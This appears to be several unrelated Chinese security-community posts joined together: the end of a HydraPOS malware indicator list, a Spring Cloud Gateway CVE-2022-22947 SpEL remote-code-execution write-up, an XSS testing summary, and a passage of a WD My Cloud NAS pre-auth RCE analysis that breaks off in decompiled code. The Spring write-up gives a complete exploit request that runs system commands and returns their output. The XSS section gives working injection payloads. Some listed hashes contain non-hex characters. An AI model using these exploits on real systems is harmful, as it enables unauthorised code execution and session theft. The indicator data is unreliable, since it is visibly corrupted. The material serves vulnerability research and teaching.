744e5ea4170
bca53f93de2ad7421781190846ba9e980e1fcfc6b9d9e9dfbb8bb9
0c142b7510
bba21698e0463cf11cb4ee3c50b85be3cc435ccbf3d95a42e866dc
6afc1c4426
c336a423dce1a1a9189d4dd1810f91d2556eac89df3b2a9988052
30104f1cfb0
fbda9405800022dfb2fb774812204dc757b56857c646c65e6d60
3ib7bd38066
3a654e636c27b724398a878dcab074888870d7fa97208bca1caf2
5cideb7078
-LRemoto：可对受感染主机中的恶意软件进行下载更新， **VirusTotal目前还无法检测到** 。
**MD5:**
331b0647df20c7522ceee719a040bacc
f4792f398c11f658247ee1a74f4edb49
**SHA1:**
a0957bf849a3095767abe42fb38404c245290dca
78b0c3a3b8290f94689b4d29dd24b29b260113a1
**SHA256:**
9df8233c78ced7e05d8a55781378901091d364ccdfb6b9d25a6e1
8eb7a72d9c4
6e7cd73ddad3644dd3b485857040d8d300323941e5712304c53f
a5118feab871
HydraPOS攻击者开发的恶意软件
Adobe.exe：支付卡数据及电子商务凭证收集器。
**MD5:**
bd0aca51fbde462328cafab83dd9d619
**SHA1:**
b9a2c27b9e72c6ee38927f2a8ba9bf20725dbic
**SHA256:**
8709cc4ee0a0c3040a173f58521dda0fe436af7e0fbb69f59169ceb
bf3c1ddac
pdv.exe：键盘记录器，VirusTotal目前还无法检测到。
**MD5:**
8c745dd89a6de372a49fe9faa6d614a2
**SHA1:**
7d1d7a490ba1362d90dc569d2471af56b38ac8b0
**SHA256:**
5bf208da4e4bb3a1c6403f370badb30f50ic0d26b11744bb66d34
50a68e51fd
explorer.exe：进行内存数据收集的恶意软件。
**MD5:**
d4127862bf705de3debbdbce99b70bed
**SHA1:**
54f10b1c505183459b47da596a02863de619a22d
**SHA256:**
d1255ac2458c778de0268281ea2f2e54b55af69418aa86f8ba3f61
a746cc9988
Anexo Pdf（167371371）.exe：可下载或激活其他的恶意软件。
**MD5:**
8b0fb09fb1ed82a88e9e5f1e69823afa
**SHA1:**
3d28362bde5f1e99131a2107df80462a58fa00f7
**SHA256:**
2a2af38cbfa51d56aa7bebb357825d8e661a532e043ef614bf9c47
3df6a8e8b8
**IP地址**
66[.]220[.]9[.]50—端口: 21/TCP
216[.]244[.]71[.]135—端口: 1/TCP
216[.]244[.]95[.]10—端口: 1和7
**命令控制服务器URL**
hxxp://m4godoc.esy.es
hxxp://envioip.esy.es
hxxp://infectbbb.esy.es
hxxp://www.gidlinux.ninja | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/>**
# 环境
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
# 审计
看diff <https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e>
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式
## 回溯执行点
说明是个spel表达式的rce，向上回溯找到org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举
找到四个地方都在ShortcutConfigurable接口类里，分布在ShortcutType的三个枚举值，见上图圈起来的部分。
三个枚举值都重写了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数
在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType()，用到的是ShortcutType.DEFAULT枚举。
继续向上查找shortcutType()函数的引用到
org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
这个normalizeProperties()是对filter的属性进行解析，会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
## 正向看filter
根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看，用户可以通过actuator在网关中创建和删除路由。
路由格式
在idea中通过actuator的mapping功能找到controller
然后看RouteDefinition
其中FilterDefinition类需要有一个name和args键值对。
而name在创建路由的时候进行了校验
name需要和已有的filter相匹配
动态调试看一下已有的name
那么到这里利用已经呼之欲出了
# 复现
先创建路由，filter中填充spel表达式，然后refresh执行。
name用到了RewritePath，对应的是org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply
需要注意的是这里args中键名要填充replacement属性，不然会报空指针
然后refresh
rce
堆栈如下
getValue:251, SpelExpression (org.springframework.expression.spel.standard)
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...省略...
# 如何回显
上述文章知，通过getValue()函数可以讲args的value执行spel表达式， **并且保存为properties**
，那么properties在哪里可以返回给我们的http response呢？
在`org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply`中，将config的键值对添加到header中
那么可以用AddResponseHeader来构造请求包
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Content-Length: 300
Content-Type: application/json
Connection: close
{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd123"
}
}
],
"uri": "http://aaa.com",
"order": 0
}
在构造这个请求包的时候遇到了几个问题，第一个是我构造的时候没有传uri和order，爆空指针异常。然后多次调试后发现在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函数中对routeDefinition参数进行了处理，所以必须要有uri和order。
uri还必须是一个正确的url才行。
第二个问题是value必须是一个String类型，否则在bind的时候会报类型不匹配异常。因为AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例，而value是string类型。
最后回显效果如图
最后删除自己创建的路由
DELETE /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Connection: close
# 写在文后
这个漏洞是用codeql挖出来的，这个东西真得学一学了。
最后感慨一下，饭前刚想出来用AddResponseHeader回显，调试了一些觉得有戏就吃饭了，午休一觉睡醒迷糊之间就发现p牛就发了vulhub环境加poc。
> 夫破人之与破于人也，臣人之与臣于人也，岂可同日而言之哉？
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。**
* * * | 社区文章 |
## **前言**
XSS是owasp
top10中比较重要的一类漏洞，也是我们在日常工作中常遇见的漏洞。测试XSS的原则就是有输入的地方就去试试，基于此笔者对可以触发XSS的地方做了一个简单的总结
## **一 输入即输出**
对用户的输入在没有进行任何过滤的情况下进行了输出。在最近的测试工作中遇到的最多是输出报错信息的时候直接把用户输入的内容直接进行了输出。猜想可能由于现在对信息安全的重视，涉及到业务方面的输入数据的过滤编码已经很成熟，对一些错误信息的输出可能重视还不够大。
该漏洞的触发就是在返回错误信息的时候回返回方法名，这个方法名攻击者可以自己定义，导致触发了XSS漏洞
该漏洞的触发就是在返回错误信息的时候回返回参数，这个方法名攻击者可以自己定义，导致触发了XSS漏洞
## **二 FUZZ参数触发XSS**
有隐藏的参数可以实现输入即输出，后来可能出于安全原因只是把该参数进行了隐藏而并没有进行修复，导致可以FUZZ该参数，触发XSS漏洞
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https://web.redacted.com/cgi-bin/mmwebwx-bin/webwxnewloginpage&fun=new&lang=en_GB&_=1617048847643 HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 64
window.QRLogin.code = 200; window.QRLogin.uuid = "Ia1oZupJlg==";
仔细观察返回包发现有个参数window.QRLogin.uuid，经过比对window.QRLogin可能是固定存在的，可能存在参数uuid，然后进行下测试
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https://web.redacted.com/cgi-bin/mmwebwx-bin/webwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=test123"; alert(1); var a = " HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 61
window.QRLogin.code = 200; window.QRLogin.uuid = "test123"; alert(1); var a = "";
很明显了，存在该参数并且很明显的输入即输出，喜提一枚反射型XSS
同样在另一处中，我们通过F12查看网页源代码，全局搜索hidden,发现隐藏的参数，经过尝试同样可以触发XSS漏洞
redirectUrl为登录跳转的参数，在登录界面经常出现，也最容易存在漏洞
http://a.b.c.d/login2/login.jsp?redirectUrl=2333'"><img src=1 onerror=alert('test')>
## **三 上传漏洞触发XSS(一)**
经过不间断的渗透测试以及整改，一些大站的上传基本都是白名单上传了，只允许上传图片格式的文件，想要getshell越来越难但这并不意味这不存在漏洞了,那退而求其次也许还存在存储XSS漏洞
虽然限制上传限制的很严格，但是对上传的文件名并没有进行安全编码转换或者过滤，在展示界面进行了原样的输出，触发了存储型XSS
## **四 上传漏洞触发XSS(二)**
在网站上传地方会允许我们上传一个excel表格，然后提取excel表格中的数据进行前台展示，如果没有处理好的话同样也会存在存储XSS漏洞
## **五 总结**
当然还有别的，比如客服聊天框中之类的触发XSS漏洞，毫无目的的盲打XSS(每次看到师傅盲打总能收到cookie就留下了辛酸的泪水)，其实最核心的就是看我们是否可以控制输出，控制的输出是否可以触发xss或者进行绕过触发xss,最后祝各位师傅每天都能挖到一个XSS，每天愉快的划水。 | 社区文章 |
# sakuraの从零开始のIoT漏洞挖掘系列(一): Western Digital My Cloud Pro系列PR4100
NAS认证前RCE漏洞分析与利用
## 简述
本文主要是对crowdstrike团队的[pwn2own-tale-of-a-bug-found-and-lost-again](https://www.crowdstrike.com/blog/pwn2own-tale-of-a-bug-found-and-lost-again/)文章进行学习，并梳理漏洞模式和探究漏洞利用方法，因为笔者手上没有这款固件，如果有人手上有或者用qemu仿真出来了，可以自己调试一下。
## FIRMWARE
首先下载有漏洞的固件，该漏洞从2.31.204版本开始，一直在5.04.114版本修复，跨度长达一年，还是十分值得学习的。
<https://downloads.wdc.com/gpl/WDMyCloud_PR4100_GPL_v2.40.155_20200713.tar.gz>
## 攻击面枚举
因为是从零开始的IoT漏洞挖掘，从本篇开始我们首先讲述一下，在开始挖掘漏洞之前，我们需要做什么。第一件事就是要枚举攻击面，即这个目标它起了哪些服务，然后哪些服务是从外网可以访问。
一般可以用[Netstat](https://linux.die.net/man/8/netstat)来看这些东西。
* `netstat -tulpn`
* `-t` tcp
* `-u` udp
* `-l` listening, Show only listening sockets.
* `-n` Show numerical addresses instead of trying to determine symbolic host, port or user names.
* `-p` Show the PID and name of the program to which each socket belongs.
root@MyCloudPR4100 root # netstat -tulpn
Active Internet connections (only servers)
Proto Local Address Foreign Address State PID/Program name
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 3320/httpd
tcp 127.0.0.1:4700 0.0.0.0:* LISTEN 4131/cnid_metad
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 4073/smbd
tcp 192.168.178.31:49152 0.0.0.0:* LISTEN 3746/upnp_nas_devic
tcp 0.0.0.0:548 0.0.0.0:* LISTEN 4130/afpd
tcp 0.0.0.0:3306 0.0.0.0:* LISTEN 3941/mysqld
tcp 0.0.0.0:139 0.0.0.0:* LISTEN 4073/smbd
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 3320/httpd
tcp 0.0.0.0:8181 0.0.0.0:* LISTEN 1609/restsdk-server
tcp 0.0.0.0:22 0.0.0.0:* LISTEN 2761/sshd
tcp6 :::445 :::* LISTEN 4073/smbd
tcp6 :::139 :::* LISTEN 4073/smbd
tcp6 :::22 :::* LISTEN 2761/sshd
udp 0.0.0.0:1900 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:24629 0.0.0.0:* 2076/mserver
udp 172.17.255.255:137 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:137 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:137 0.0.0.0:* 4077/nmbd
udp 172.17.255.255:138 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:30958 0.0.0.0:* 3808/apkg
udp 0.0.0.0:514 0.0.0.0:* 1958/syslogd
udp 127.0.0.1:23457 0.0.0.0:* 3985/wdmcserver
udp 127.0.0.1:46058 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:48299 0.0.0.0:* 2481/avahi-daemon:
udp 0.0.0.0:5353 0.0.0.0:* 2481/avahi-daemon:
一般看到httpd就可以确定这可能是使用了apache来做的服务端，所以再搜一下conf配置文件，一般以我的习惯会把每个conf文件都读一下，不过这里我们主要关注一下`alias.conf`和`rewrite.conf`
sakura@sakuradeMacBook-Pro:~/Desktop/WDMyCloud_PR4100_GPL_v2.40.155_20200713$ find . -name "*.conf"
./firmware/ramdisk/root/etc/mdev.conf
./firmware/ramdisk/root/etc/ez-ipupdate.conf
./firmware/ramdisk/root/etc/alert_email.conf
./firmware/ramdisk/root/etc/ld.so.conf
./firmware/ramdisk/root/etc/avahi/avahi-daemon.conf
./firmware/ramdisk/root/etc/netatalk/extmap.conf
./firmware/ramdisk/root/etc/nsswitch.conf
./firmware/module/crfs/web/config/default_lighttpd.conf
./firmware/module/crfs/web/config/php-fpm.conf
./firmware/module/crfs/web/apache2_dav/conf/httpd.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-languages.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-dav.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-autoindex.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-manual.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-multilang-errordoc.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-vhosts.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-userdir.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-info.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-ssl.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-default.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-mpm.conf
./firmware/module/crfs/web/apache2/certconf/wdnas-rest-api.conf
./firmware/module/crfs/web/apache2/certconf/wdnas-rest-api-trusted.conf
./firmware/module/crfs/web/apache2/conf/sites-enabled/restsdk.conf
./firmware/module/crfs/web/apache2/conf/sites-enabled/wdnas-ui.conf
./firmware/module/crfs/web/apache2/conf/httpd.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-languages.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-dav.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-autoindex.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-manual.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-multilang-errordoc.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-vhosts.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-userdir.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-info.conf
./firmware/module/crfs/web/apache2/conf/extra/ports.conf
./firmware/module/crfs/web/apache2/conf/extra/httpd-default.conf
./firmware/module/crfs/web/apache2/conf/extra/wdapp_web.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mime.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/flvx.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/env.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/dav_fs.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/unixd.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/autoindex.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mime_magic.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/log_config.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/dir.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/rewrite.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/alpha_custom.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/security2.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/actions.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/cgi.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/deflate.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/alias.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mpm_prefork.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/negotiation.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/logio.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/setenvif.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/ssl.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/headers.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/php5.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/xsendfile.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/modsecurity.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-949-BLOCKING-EVALUATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-911-METHOD-ENFORCEMENT.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-910-IP-REPUTATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-901-INITIALIZATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-950-DATA-LEAKAGES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-905-COMMON-EXCEPTIONS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-921-PROTOCOL-ATTACK.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-913-SCANNER-DETECTION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-912-DOS-PROTECTION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-980-CORRELATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/crs-setup.conf
./firmware/module/crfs/dbus-1/system.d/avahi-dbus.conf
./firmware/module/crfs/dbus-1/system.conf
./firmware/module/crfs/etc/smtp.conf
./firmware/module/crfs/etc/nas/wdnotifier.conf
./firmware/module/crfs/etc/nas/notify.d/wdmcserver.conf
./firmware/module/crfs/etc/nas/notify.d/wddispatcher.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-rest-api.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-ui.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-rest-api-trusted.conf
./firmware/module/crfs/etc/apache2/conf.d/orionversion.conf
./firmware/module/crfs/etc/rsyslog.d/wdlog.conf
./firmware/module/crfs/etc/rsyslog.d/wddispatcher.conf
./firmware/module/crfs/default/syslog.conf
./firmware/module/crfs/default/mt-daapd.conf
./firmware/module/crfs/default/wdlog.conf
./firmware/module/crfs/default/dhcp6c.conf
./firmware/module/crfs/default/udhcpd.conf
./firmware/module/crfs/default/resolv.conf
./firmware/module/crfs/default/routeap.conf
./firmware/module/crfs/default/s3.conf
./firmware/module/crfs/default/snmpd.conf
./firmware/module/crfs/default/gogoc.conf
./firmware/module/crfs/apache2/sites-available/wdnas-rest-api.conf
./firmware/module/crfs/apache2/sites-available/wdnas-ui.conf
./firmware/module/crfs/apache2/conf.d/orionversion.conf
./firmware/module/crfs/files/ups/upsd.conf
./firmware/module/crfs/files/ups/upssched.conf
./firmware/module/crfs/files/ups/upsmon.conf
./firmware/module/crfs/files/ups/ups.conf
./firmware/module/crfs/files/syslog_rotate.conf
./firmware/module/crfs/files/mke2fs.conf
./firmware/module/crfs/files/syslog_dai
* `alias.conf`
<https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-mod_alias.html>
ScriptAlias /cgi-bin/ /var/www/cgi-bin/
这句配置的含义是把web请求的url中，如果它访问的目录是`/cgi-bin/`，就重定向到`/var/www/cgi-bin/`目录下。
* `rewrite.conf`
<https://www.jianshu.com/p/103742cccaff>
对于`rewrite.conf`，主要读懂RewriteCond和RewriteRule两个关键字的含义就行了。
RewriteCond起到的是过滤作用
以`RewriteCond %{REMOTE_ADDR}
!^127\.0\.0\.1$`这句为例，如果`%{REMOTE_ADDR}`和`!^127\.0\.0\.1$`正则匹配，即`REMOTE_ADDR`不是来自localhost的话，就使用紧邻着的下一句RewriteRule来重定向web请求。
以`RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING}
[L]`这句为例，就是把所有访问`xx.cgi`文件的请求，都重定向到`/web/cgi_api.php?cgi_name=xxx`，即用`cgi_api.php`来分发请求，如果鉴权不通过，就不能访问该cgi文件。
这里的鉴权主要指的就是攻击者是否有普通用户登录的权限，也就是一般说的pre-auth和after-auth了。
我们主要关注的都是pre-auth的rce，所以从这个配置文件和从`cgi_api.php`里的逻辑可以看出，认证前能够访问的cgi文件只有`webpipe.cgi`和`login_mgr.cgi`，而前者内部也有鉴权，所以主要关注`login_mgr.cgi`
至此为止我们就分析出了攻击者易达的攻击面，如果要深挖的话还需要再读一下其他的配置文件，和`ps -ef`看看还开了哪些进程，能否通过httpd路由到。
<IfModule rewrite_module>
RewriteEngine on
RewriteCond expr "%{REQUEST_URI} != '/xml/english.xml'"
RewriteCond expr "%{REQUEST_URI} != '/xml/lang.xml'"
RewriteRule ^/xml/(.*) /cgi-bin/webpipe.cgi
#RewriteRule /api/[0-9.]+/rest/(.*)\?(.*)$ /htdocs/api/rest/index.php?$2
#RewriteRule /api/[0-9.]+/rest/(.*) /htdocs/api/rest/index.php
RewriteCond %{HTTP_HOST} ^(.*)\.(:\d+)?$
RewriteRule ^(.*)$ http://%1%2$1 [L,R=301]
<Directory "/var/www/cgi-bin/">
RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
RewriteCond $1 !^abFiles$
RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>
</IfModule>
## 漏洞分析
首先抓包看一下正常的请求包是什么样的，可以看出用户输入的密码其实是被base64之后再发往server端处理的
POST /cgi-bin/login_mgr.cgi HTTP/1.1
...
Cookie: PHPSESSID=058d44781ddc0be98f15233c8853476f; local_login=1
cmd=wd_login&username=admin&pwd=YWRtaW4%3D&port=
入口函数在cgiMain，该函数根据post请求里的cmd参数来选择使用哪个函数，这里我们主要看的就是`wd_login`函数
### cgiMain
__int64 cgiMain()
{
bool v0; // zf
const char *v1; // rdi
signed __int64 v2; // rcx
char *v3; // rsi
const char *v4; // rdi
signed __int64 v5; // rcx
char *v6; // rsi
bool v7; // zf
const char *v8; // rdi
signed __int64 v9; // rcx
char *v10; // rsi
const char *v11; // rdi
signed __int64 v12; // rcx
char *v13; // rsi
const char *v14; // rdi
signed __int64 v15; // rcx
char *v16; // rsi
__int64 result; // rax
char v18; // [rsp+0h] [rbp-28h]
cgiFormString("cmd", &v18, 32LL);
v0 = memcmp(&v18, "wd_login", 9uLL) == 0;
if ( v0 )
{
wd_login();
result = 0LL;
}
else
{
v1 = "ui_check_wto";
v2 = 13LL;
v3 = &v18;
do
{
if ( !v2 )
break;
v0 = *v3++ == *v1++;
--v2;
### wd_login
在我简单的处理了一下符号之后的伪代码如下。
int wd_login()
{
char *pos_dbl_slash; // r14
char *v1; // rsi
char *v2; // rdx
unsigned int login_successful; // er15
FILE *v4; // rax
FILE *v5; // r14
int v6; // ecx
unsigned int v7; // eax
bool v8; // zf
__int64 v9; // r14
char *v10; // rsi
FILE *v11; // rax
FILE *v12; // r13
__int64 v13; // r12
__int64 v14; // rdx
signed int v15; // er13
unsigned int v16; // er12
FILE *v17; // rax
FILE *v18; // r12
_BOOL4 v19; // ST10_4
_BOOL4 v20; // ST08_4
FILE *v21; // rbp
_BOOL4 v22; // er8
_BOOL4 v23; // er9
struct passwd *v24; // rax
signed __int64 v25; // rdx
__int64 v26; // rdx
FILE *v27; // rbp
struct passwd *v28; // r14
int v29; // er14
FILE *v30; // r12
FILE *v31; // rdi
time_t v33; // [rsp+8h] [rbp-1200h]
_BOOL4 v34; // [rsp+8h] [rbp-1200h]
__int64 v35; // [rsp+10h] [rbp-11F8h]
_BOOL4 v36; // [rsp+10h] [rbp-11F8h]
__int64 v37; // [rsp+18h] [rbp-11F0h]
__int64 v38; // [rsp+20h] [rbp-11E8h]
__int64 v39; // [rsp+28h] [rbp-11E0h]
char src[8]; // [rsp+30h] [rbp-11D8h]
char dest[8]; // [rsp+40h] [rbp-11C8h]
char username[8]; // [rsp+50h] [rbp-11B8h]
